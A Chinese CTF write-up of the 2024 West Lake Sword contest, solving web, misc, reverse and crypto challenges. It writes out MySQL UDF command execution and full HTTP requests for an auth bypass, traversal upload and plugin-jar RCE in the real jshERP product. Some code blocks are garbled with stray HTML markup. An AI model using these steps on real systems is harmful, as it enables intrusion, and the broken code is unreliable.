CTF - 2024 西湖论剑

前言

‍看来现在CTF中直接不出PHP了吗?要出就是出顶级难度的了,我咧个豆,西湖论剑队友通天带我了,真有点猛,复现Java的过程当中还是学到不少东西的,希望下次能够自己独立完成出来吧

WriteUp

Web

only_sql

一看可以连恶意mysql读文件

image

可以读到源码,格式化后如下

image

存在注释的密码

1
2
3
4
5
//mine\n
//$db_host=\'127.0.0.1\';\n
//$db_username=\'root\';\n
//$db_password=\'1q2w3e4r5t!@#\';\n
//$db_name=\'mysql\';\n\n

则可以直接连接进行操作,发现慢日志没办法提示给了LOAD DATA​尝试写文件发现写不进去于是尝试UDF提权

9159353c62f674503b0edfb9f6f335f

先读取插件存在的位置

1
show variables like 'plugin_dir';

得到插件目录为/usr/lib/mysql/p1ugin

然后进行UDF恶意文件加载(注意是so​)

1
2
3
4
SELECT 0x7f454c4...  INTO DUMPFILE '/usr/lib/mysql/p1ugin/udfa.so';
select * from mysql.func where name = "sys_exec"; # 查看
create function sys_eval returns string soname "udfa.so";# 创建函数绑定dll
select sys_eval("whoami");# 调用函数进行命令执行

然后查看当前环境变量出flag(我真找了两个小时的flag和提权的方式我真的受不了了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /query.php HTTP/1.1
Host: 1.14.108.193:31358
Content-Length: 31
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1.14.108.193:31358
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://1.14.108.193:31358/query.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1706580382; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1706580914; PHPSESSID=cucaobemah665l6748uoeifqvo
Connection: close

db_command=select%20sys_eval(%22env%22)%3B

image

EZerp

这个题先放出之前审的ERP的文章,因为这个题是考ERP的,之前审过,但并不是最新版的,审的是2.3的版本,而最新的3.1版本的改了蛮多功能点的,所以这个题我觉得出的还是不错的,让我再次回顾了下关于ERP的内容吧

Java审计 - 华夏ERP

分析

系统就存在一个 fliter​ 在 LogCostFilter​ 里面会检查 session​ 来判断用户是否登录,如果没有登录就会让他重定向到 login.html

image

审计

权限绕过

可以发现这个拦截器是根据

1
String requestUrl = servletRequest.getRequestURI();

获取的内容来进行判断的,然后根据获取到的requestUrl​来进行是否进行拦截,并且并不是检索最后,而是使用了contains()​方法,又因为getRequestURI()​方法是完全获取URI的,并没有特殊字符的过滤(Java常见权限绕过的关键方法了) ,所以可以使用../​来进行权限绕过

image

正常管理员操作查询商品信息,这里删掉Cookie后被拦截器返回到login.html

image

在访问的路径中加入login.html/../​发现正常请求了

这个看了一下其他版本的都是通病吧,只要是用的是

1
String requestUrl = servletRequest.getRequestURI();

后续在西湖论剑的CTF当中就是个明显例子

这里也提一下吧,踩坑记录了属实是,主要是在本地vue起不来前端(难受得一),所以用权限绕过的方式来获取admin的token来进行后端的操作,可以先获取admin的账号密码(默认admin/123456)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /jshERP-boot/user/login HTTP/1.1
Host: 10.33.232.182:9999
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Content-Length: 57
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1706798797; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1706809824; JSESSIONID=BE0AA125744B2BF49540A1BE0FC541EB
Origin: http://10.33.232.182:8080
Referer: http://10.33.232.182:8080/login.html
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest

{"loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e"}

image

获取到token后把token的值加入X-Access-Token​ 这个header中即可以管理员权限来操作了

X-Access-Token: 4ef85bce98444cefa6eae9e9d67cbeb5_0

SQL注入

由于华夏ERP使用的是mybatis,所以直接在对应的mapper文件中搜索${​即可

1
2
3
4
5
<dependency>
<groupId>com.baomidou</groupId>
<artifactId>mybatis-plus-boot-starter</artifactId>
<version>3.0.7.1</version>
</dependency>

image

这可太多了

image

通过接口层 实现层 控制层,最后找到/Users/zjacky/Documents/Java_project/jshERP-2.3/src/main/java/com/jsh/erp/controller/ResourceController.java

在这个控制器中发现sql传入的点是可控的

文件上传

由于权限绕过了直接全局搜索upload

存在两个上传点

  1. \jshERP-3.1\jshERP-boot\src\main\java\com\jsh\erp\controller\SystemConfigController.java
  2. \jshERP-3.1\jshERP-boot\src\main\java\com\jsh\erp\controller\PluginController.java

第二个上传点在后续RCE说,这里直接看SystemConfig​的上传

image

发现是任意文件上传,并且接收biz​参数传递,然后跟进下uploadLocal

image

发现就是进行文件取名,但是后缀自定义,然后根据传入的biz​的路径进行上传,并且如果不存在目录就立刻创建该目录

(这里省略一个小时的环境配置时间—真操蛋)然后终于上传成功了,一个完美的可以跨越任意目录的任意文件上传

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /jshERP-boot/doc.html/../systemConfig/upload?biz=../../../../../../ HTTP/1.1
Host: 10.33.232.182:9999
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
X-Access-Token: d22cf07e24434e33a82e43a85be5b0bb_151076
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycrlhXpR4I81QZz0x
Origin: http://10.33.232.182
Referer: http://10.33.232.182//upload/upload.html
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Length: 652010

------WebKitFormBoundarycrlhXpR4I81QZz0x
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg

xxx
------WebKitFormBoundarycrlhXpR4I81QZz0x--

RCE

这个点就有点意思了,在\jshERP-3.1\jshERP-boot\src\main\java\com\jsh\erp\controller\PluginController.java

image

用户可以上传一个符合格式的jar​包到这个接口,这里就会通过 uploadPluginAndStart​ 上传加载依赖

image

那么如果说我们能够传入恶意的jar​是不是就可以进行RCE了呢,那么现在的问题就成了: 如何构造一个恶意的插件是符合上传插件逻辑的

于是去查找官方文档,找各种资料各种百度各种搜索(这插件也太tmd难写了吧我真无语)

1
2
3
https://gitee.com/starblues/springboot-plugin-framework-parent
https://www.yuque.com/starblues/spring-brick-3.0.0/vxwgye#gLJ40
https://gitee.com/starblues/springboot-plugin-framework-example

找了一个世纪,最后在github上才找到了这篇文章

https://github.com/thestyleofme/springboot-plugin-framework-parent

首先第一步,直接maven全编译打包一遍

1
mvn clean package -Dmaven.test.skip=true

为什么要整个项目全进行maven解析呢?是因为单个pom.xml解析的话会报这种错误

image

而整个项目编译则没问题,是因为他写的pom.xml这个找不到指定的依赖写在了该项目的别的分支项目的pom.xml中,所以整体打包的话就没有问题了

然后找到对应的插件进行修改

image

然后再次maven编译下用jadx去检查下对应的字节码文件发现没有问题打包成功了

image

但是这里有三个问题

  1. 仅仅只是加载类,但是并没有初始化,所以是不会执行静态代码的,但是在下面又存在初始化的路由
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* 根据插件路径安装插件。该插件jar必须在服务器上存在。注意: 该操作只适用于生产环境
* @param path 插件路径名称
* @return 操作结果
*/
@PostMapping("/installByPath")
public String install(@RequestParam("path") String path){
try {
if(pluginOperator.install(Paths.get(path))){
return "installByPath success";
} else {
return "installByPath failure";
}
} catch (Exception e) {
e.printStackTrace();
return "installByPath failure : " + e.getMessage();
}
}

所以我们可以用路径的形式直接去访问我们传好的恶意的jar包

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /plugin/installByPath HTTP/1.1
Host: 10.33.232.182:8080
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 8
Content-Type: application/x-www-form-urlencoded
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1706798797; JSESSIONID=F79B29228D4BD16B61B9C8C87AD9C81D; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1706802472
Referer: http://10.33.232.182:8080/index.html
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X-Requested-With: XMLHttpRequest

path=Y:\\151076\\basic-example-plugin2-1.0.7.RELEASE.jar

但是他会提示Plugin id can't be empty

image

  1. 修改MANIFEST.MF​(当然也可以直接用本项目生成好的-with-dependencies.jar​)
1
2
3
4
5
Plugin-Id: basic-example-plugin3
Implementation-Version: 1.0.8.RELEASE
Plugin-Provider: isaacc
Plugin-Version: 1.0.8.RELEASE
Plugin-Class: com.basic.example.plugin2.DefinePlugin
  1. 要注意的点就是他一定要创建plugins​目录(系统之前已经安装过插件) 才能够将我们传入的jar部署上去

满足上述三点 再去初始化发现就加载进去然后弹出计算机了

image

CTF题目

先看提示

ezerp

hint1: plugins目录不存在

hint2: 附件新增一个 https://xjlh2024-1308232561.cos.ap-nanjing.myqcloud.com/WEB-ezerp.jar

首先前面是弱口令admin/123456可以进入后台的(所以虽然有权限绕过但是也可以不用),所以直接看后台的洞即可,找了自己审计的文章和网上最新版本公开的漏洞来对比分析,发现是存在任意文件上传的,但是并不知道web路径而且应该知道这个ERP是不解析jsp的,根据提示说plugins目录不存在,那么就可以通过上传去建立这个文件夹,然后通过上传Jar包来进行依赖的添加来导致RCE

权限绕过(但是好像不知道为啥突然弱口令就没了)

跟上述讲的一样,看他的拦截器如下

image

所以只需要带有/user/login/../​即可成功绕过权限了

什么都不加

image

加了/user/login/../../​后直接返回200

image

获取管理员的token

image​​

文件上传新建文件夹
1
http://1.14.108.193:32014/user/login/../../jshERP-boot/systemConfig/upload?biz=../../../../../../../../../../../../opt/plugins

image

直接去install我们上传的jar包

偷个图

Misc

2024签到题

下载下来看图片详情发暗号即可

image

数据安全-easy_tables

‍为了方便操作,将csv文件转化为json文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pandas as pd

# 读取CSV文件
df = pd.read_csv('tables.csv')
# 将数据转换为JSON格式
json_data = df.to_json('tables..json', orient='records')
# 读取CSV文件
df = pd.read_csv('permissions.csv')
# 将数据转换为JSON格式
json_data = df.to_json('permissions.json', orient='records')

# 读取CSV文件
df = pd.read_csv('users.csv')
# 将数据转换为JSON格式
json_data = df.to_json('users.json', orient='records')
# 读取CSV文件
df = pd.read_csv('actionlog.csv')
# 将数据转换为JSON格式
json_data = df.to_json('actionlog.json', orient='records')

image-20240131142445029

‍根据指引的意思进行数据处理

tables.json 数据库的允许的操作时间,判断是否存在违规操作时间的行为

actionlog.json操作者的行为记录

permissions.json 操作权限信息表

users.json 操作人是否存在,记录操作者信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import pandas as pd
import re
from datetime import datetime

class DataProcessor:
def __init__(self, action_log_path, user_path, table_path, permission_path):
self.action_logs = pd.read_json(action_log_path)
self.users = pd.read_json(user_path)
self.tables = pd.read_json(table_path)
self.permissions = pd.read_json(permission_path)

def get_user_info(self, username):
user_row = self.users[self.users['账号'] == username]
if user_row.empty:
return None
return user_row.iloc[0]

def get_table_info(self, table_name):
table_row = self.tables[self.tables['表名'] == table_name]
if table_row.empty:
return None
return table_row.iloc[0]

def get_permission_info(self, group_id):
permission_row = self.permissions[self.permissions['编号'] == group_id]
if permission_row.empty:
return None
return permission_row.iloc[0]

def time_in_range(self, time_str, start, end):
current = datetime.strptime(time_str, '%H:%M:%S')
start_time = datetime.strptime(start, '%H:%M:%S')
end_time = datetime.strptime(end, '%H:%M:%S')
return start_time <= current <= end_time

def analyze_logs(self):
flags = []
for _, action_log in self.action_logs.iterrows():
user_info = self.get_user_info(action_log['账号'])
if not user_info:
print(f"{action_log['编号']} 用户不存在 0_0_0_{action_log['编号']}")
flags.append(f"0_0_0_{action_log['编号']}")
continue

action = re.search(r'\b(insert|update|delete|select)\s(\S+)', action_log['执行操作'], re.IGNORECASE)
if action:
table_info = self.get_table_info(action.group(2))
if not table_info:
continue

permission_info = self.get_permission_info(user_info['所属权限组编号'])
if not permission_info:
continue

if str(table_info['编号']) not in permission_info['可操作表编号'].split(','):
flags.append(f"{user_info['编号']}_{user_info['所属权限组编号']}_{table_info['编号']}_{action_log['编号']}")
continue

if action_log['执行操作'].split()[0].lower() not in permission_info['可操作权限'].split(','):
flags.append(f"{user_info['编号']}_{user_info['所属权限组编号']}_{table_info['编号']}_{action_log['编号']}")
continue

time_ranges = table_info['可操作时间段(时:分:秒)'].split(',')
if not any(self.time_in_range(action_log['操作时间'][-8:], *r.split("~")) for r in time_ranges):
flags.append(f"{user_info['编号']}_{user_info['所属权限组编号']}_{table_info['编号']}_{action_log['编号']}")

flags.sort(key=lambda x: int(x.split('_')[0]))
return ",".join(flags)


if __name__ == "__main__":
processor = DataProcessor("actionlog.json", "users.json", "tables.json", "permissions.json")
result = processor.analyze_logs()
print(result)

image-20240131160845686

md5生成flag

1
2
3
4
5
6
7
8
9
10
import hashlib

# 定义要转换的字符串
text = "0_0_0_6810,0_0_0_8377,6_14_91_6786,7_64_69_3448,9_18_61_5681,30_87_36_235,31_76_85_9617,49_37_30_8295,75_15_43_8461,79_3_15_9011"

# 使用hashlib库生成MD5哈希值
md5_hash = hashlib.md5(text.encode()).hexdigest()

print(md5_hash)

image-20240131162423336

1
flag{271b1ffebf7a76080c7a6e134ae4c929}

easy_rawraw

‍‍passware kit 可以得到用户的密码,密码1

1
ADMIN\Administrator  das123admin321

既然和密码有关,vol搜密码

image-20240131155404262

image-20240131155707574

‍导出压缩包后解压,分离png,根据备注猜测密码20240210,拿到pass.txt,密码2

卡了很久无果,让学弟用010搜下password

image-20240131160111228

找到了密码

1
DasrIa456sAdmIn987

‍使用这个密码解密rar

加上pslist看到了VeraCrypt,搭配密码2挂载解密,得到xlsx

image-20240131160358647

最后使用密码1得到flag

image-20240131160309740

Reverse

MZ

IDA反编译打开

image-20240131165525325

内容比较简单,首先要求输入48位长度的字符串,然后通过字符串的ASCII值查表判断,
过了判断后,下边还有个MD4用于验证字符串的正确性。
通过调试把表格扒下来,然后编写脚本,看得出来需要使用回溯算法来确定,但是我搓了半个小时没搞出来,然后只能自己手动。
脚本如下:

image-20240131165537086

中间手动探索过程省略。。。。

img

img

这道题还有一个关键信息是flag是一个有意义的字符串,也就是说看起来像个句子,通过这个在手动判断的时候先找看着像的,不行再手动回溯。
值得一提的时候最后两个字符会有区别,需要通过MD4来判断
flag:Somet1mes_ch0ice_i5_more_import@nt_tHan_effort~!

image-20240131165613367

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
char flag[100] = {};
unsigned int begin_t[100] = {};
int ebp_t = 0;
int cum(int begin,int end,int round){
int j = 0;
for(char i = 32;i < 127;i++){
j = i * 2 + begin;
if(ida_chars[j] - 5 <span style="font-weight: bold;" class="mark"> i || ida_chars[j] + 5 </span> i){
flag[round] = i;
if(flag[1] <span style="font-weight: bold;" class="mark"> 'V')continue;
if(flag[2] </span> '_' || flag[2] <span style="font-weight: bold;" class="mark"> '/')continue;
if(flag[4] </span> '9' || flag[4] <span style="font-weight: bold;" class="mark"> 'n' || flag[4] </span> 'r')continue;
// if(flag[5] <span style="font-weight: bold;" class="mark"> '1')continue;
if(flag[6] </span> 'C')continue;
if(flag[7] <span style="font-weight: bold;" class="mark"> '&')continue;
if(flag[7] </span> '6')continue;
if(flag[8] <span style="font-weight: bold;" class="mark"> 'A')continue;
if(flag[8] </span> '^')continue;
// if(flag[8] <span style="font-weight: bold;" class="mark"> 's')continue;
// if(flag[9] </span> 'c')continue;
// if(flag[9] <span style="font-weight: bold;" class="mark"> 'q')continue;
// if(flag[10] </span> 'g')continue;
// if(flag[9] <span style="font-weight: bold;" class="mark"> 'd')continue;
// if(flag[10] </span> '2')continue;
// if(flag[10] <span style="font-weight: bold;" class="mark"> 'C')continue;
// if(flag[11] </span> '-')continue;
// if(flag[11] <span style="font-weight: bold;" class="mark"> 'O')continue;
if(flag[9] </span> '/')continue;
if(flag[10] <span style="font-weight: bold;" class="mark"> 'M')continue;
// if(flag[10] </span> 'c')continue;
if(flag[11] <span style="font-weight: bold;" class="mark"> ')')continue;
if(flag[12] </span> ',')continue;
if(flag[13] <span style="font-weight: bold;" class="mark"> 'T')continue;
if(flag[13] </span> 'f')continue;
// if(flag[13] <span style="font-weight: bold;" class="mark"> 'i')continue;
if(flag[14] </span> '.')continue;
if(flag[16] <span style="font-weight: bold;" class="mark"> '%')continue;
if(flag[16] </span> '&')continue;
if(flag[17] <span style="font-weight: bold;" class="mark"> '5')continue;
if(flag[17] </span> 'P')continue;
if(flag[17] <span style="font-weight: bold;" class="mark"> 'T')continue;
// if(flag[17] </span> 'i')continue;
if(flag[20] <span style="font-weight: bold;" class="mark"> '*')continue;
if(flag[20] </span> '5')continue;
if(flag[20] <span style="font-weight: bold;" class="mark"> '7')continue;
// if(flag[20] </span> 'm')continue;
if(flag[21] <span style="font-weight: bold;" class="mark"> '4')continue;
if(flag[21] </span> 'Z')continue;
if(flag[21] <span style="font-weight: bold;" class="mark"> 'h')continue;
// if(flag[21] </span> 'o')continue;
if(flag[24] <span style="font-weight: bold;" class="mark"> 'C')continue;
if(flag[25] </span> '<')continue;
// if(flag[25] <span style="font-weight: bold;" class="mark"> 'i')continue;
if(flag[27] </span> '&')continue;
if(flag[27] <span style="font-weight: bold;" class="mark"> 'U')continue;
// if(flag[27] </span> 'p')continue;
if(flag[28] <span style="font-weight: bold;" class="mark"> '+')continue;
if(flag[29] </span> '.')continue;
if(flag[29] <span style="font-weight: bold;" class="mark"> '3')continue;
if(flag[29] </span> 'k')continue;
if(flag[30] <span style="font-weight: bold;" class="mark"> 'G')continue;
if(flag[30] </span> 'O')continue;
if(flag[31] == '=')continue;
// if(flag[31] <span style="font-weight: bold;" class="mark"> '@')continue;
// if(flag[31] </span> 'J')continue;
if(flag[32] <span style="font-weight: bold;" class="mark"> ']')continue;
if(flag[34] </span> '&')continue;
if(flag[34] <span style="font-weight: bold;" class="mark"> ':')continue;
if(flag[34] </span> 'A')continue;
if(flag[34] <span style="font-weight: bold;" class="mark"> 'E')continue;
// if(flag[36] </span> '>')continue;
if(flag[35] <span style="font-weight: bold;" class="mark"> 'A')continue;
if(flag[36] </span> '!')continue;
if(flag[36] <span style="font-weight: bold;" class="mark"> '#')continue;
if(flag[37] </span> '+')continue;
if(flag[38] <span style="font-weight: bold;" class="mark"> '.')continue;
if(flag[38] </span> '`')continue;
if(flag[39] <span style="font-weight: bold;" class="mark"> '(')continue;
if(flag[40] </span> 'd')continue;
if(flag[41] <span style="font-weight: bold;" class="mark"> '(')continue;
if(flag[42] </span> '2')continue;
if(flag[42] <span style="font-weight: bold;" class="mark"> ';')continue;
if(flag[42] </span> 'D')continue;
if(flag[44] <span style="font-weight: bold;" class="mark"> 'a')continue;
if(flag[46] </span> 'G')continue;
// if(flag[46] == '~')continue;
break;
}
}
return j;
};

BabyCPP

线性反馈移位寄存器生成伪随机数+魔改RC4

通过IDA反编译看到对输入有两个加密,对于密码明文一个加密

第一个是线性反馈移位寄存器生成伪随机数

img

通过动态调试之后还原了加密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned int keys[] = {0x67452301,0xEFCDAB89,0x98BADCFE,0x10325476};

const unsigned int k = 0xDEADBEEF;

unsigned int cum = 0;

unsigned int v1 = 0x34333231;

unsigned int v2 = 0x38373635;

unsigned int key = 0;

for(int i = 0;i < 256;i++){

key = keys[cum & 3];

v1 = ((((v2>>7)^(v2<<2))+v2)^(key+cum))+v1;

key = keys[(cum >> 0xB) & 3];

v2 = ((((v1>>3)^(v1<<6))+v1)^(key+cum))+v2;

cum = cum + k;

}

Keys和k是在进入函数前赋的值

img

通过该加密函数可以推导出解密函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void decrypt(unsigned int v1, unsigned int v2){

unsigned int keys[] = {0x67452301,0xEFCDAB89,0x98BADCFE,0x10325476};

unsigned int cum = 0xadbeef00;

const unsigned int k = 0xDEADBEEF;

unsigned int key = 0;

for(int i = 0;i < 256;i++){

cum = cum - k;

key = keys[(cum >> 0xB) & 3];

v2 = v2 - ((((v1>>3)^(v1<<6))+v1)^(key+cum));

key = keys[cum & 3];

v1 = v1 - ((((v2>>7)^(v2<<2))+v2)^(key+cum));

}

// printf("decrypt:v1=0x%x,v2=0x%x\n",v1,v2);

printf("0x%x,0x%x,",v1,v2);

}

在验证前还有第二轮魔改rc4加密

img

从此处大概还原了加密代码

1
2
3
4
5
6
7
8
9
10
11
for j in range(48):

i+=1

v1 = (v1 + (s_box[i] % 0x100)) % 0x100

s_box[i], s_box[v1] = s_box[v1], s_box[i]

v2 = (s_box[i] + s_box[v1]) % 0x100

plaintext[j] = (((s_box[v2]) ^ plaintext[j]) + s_box[i] ^ s_box[v1]) % 0x100

很显然是魔改的RC4,同时我们从内存中获取RC4初始化后的S盒

img

我们可以利用该S盒写出解密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for j in range(48):

i+=1

v1 = (v1 + (s_box[i] % 0x100)) % 0x100

s_box[i], s_box[v1] = s_box[v1], s_box[i]

v2 = (s_box[i] + s_box[v1]) % 0x100

plaintext[j] ^= s_box[v1]

plaintext[j] = (plaintext[j] + 0x100 - s_box[i]) % 0x100

plaintext[j] = ((s_box[v2]) ^ plaintext[j])

再利用动态调试获取到最后的密文放入解密代码中

画红色框处是对密文进行魔改RC4解密

img

把RC4解密后的密文再放入另一个解密函数中

img

由于是小端序组成的值,我们还需要对此处理然后转化为flag

img

最后获得flag

df8d8ab87c22a396041f9bde6a40c4987c22a396041f9bde

img

数据安全

Cyan-1

谷歌找到文章

https://zh.moegirl.org.cn/zh-hk/%E8%B5%9B%E5%B0%8F%E7%9B%90

看着写就行

image

image

恭喜您通过考试! DASCTF1{3ac9edfef8f89edd768ae839f3488c46}

DASCTF{93071110885044812621524662463525}

Crypto

Or2cle

‍过proof,跑了几个数据进行搜索

https://oeis.org/

img

查询发现,计算a(n)=binomial(n,14)即可过proof

‍题目是aes ctr模式,padding oracle attack,密文长度是42,

根据规则可得,原本密文长度为40,2个字节的pad,pad 为b’ \x02’

明文和密文已知的情况下获取密钥,得到密钥之后就可以解密密文得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
from Crypto.Util.number import bytes_to_long,bytes_to_long
from pwn import *
from hashlib import sha256
from base64 import b64decode
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' = ' + hex(data) + '\x1b[0m')
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
sla = lambda data, content: io.sendlineafter(data,content)
sa = lambda data, content: io.sendafter(data,content)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
sa = lambda data, content: io.sendafter(data,content)
dbg = lambda : gdb.attach(io)
bk = lambda : (dbg(),pause())
inter = lambda: io.interactive()
l64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda :u64(io.recv(6).ljust(8,b'\x00'))
add=0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1,add, 0x30))
def dbg(c = 0):
if(c):
gdb.attach(io, c)
pause()
else:
gdb.attach(io)
pause()
#---------------------------------------------------------
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
filename = "./pwn"
#io = process(filename)
io =remote("1.14.108.193","31132")
elf = ELF(filename)
#---------------------------------------------------------
strings = "DASCTF{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
def calculate_combination(n, k):
if k < 0 or k > n:
return 0
if k <span style="font-weight: bold;" class="mark"> 0 or k </span> n:
return 1
k = min(k, n - k)
result = 1
for i in range(k):
result = result * (n - i) // (i + 1)
return result
flag = ""
n = u32(rl("s : ").strip().split(b' ')[-1])
rl("hash:")
sl(str(sha256(str(calculate_combination(n+13, 14)).encode()).hexdigest()))
#过proof
rl(b"it\n")
sl(b"1")
a = rl('\'').decode().split('\'')[0][-32:]
#lg(a)
after64 = b64decode(a)
for index in range(0, 42):
if index <span style="font-weight: bold;" class="mark"> 16 or index </span> 32:
continue
for i in strings:
rl("t\n")
sl(b"2")
tmp_char = chr(after64[index] ^ ord(i) ^ 2)
modified_tmp = after64[:index] + tmp_char.encode('latin1') + after64[index+1:]
sl(modified_tmp)
rl("Dec")
return = sh.recvuntil("\n").decode().splitlines()[1]
if "faild" not in return: #失败就继续
continue
print("[+]",a)
flag += i
break
print(flag)

image-20240131141132152

得到flag

DASCTF{771128198258295514986624D2445186}

d用数字替换


CTF - 2024 西湖论剑
https://zjackky.github.io/post/ctf-2024-west-lake-discuss-sword-z10dq7t.html
作者
Zjacky
发布于
2024年2月2日
许可协议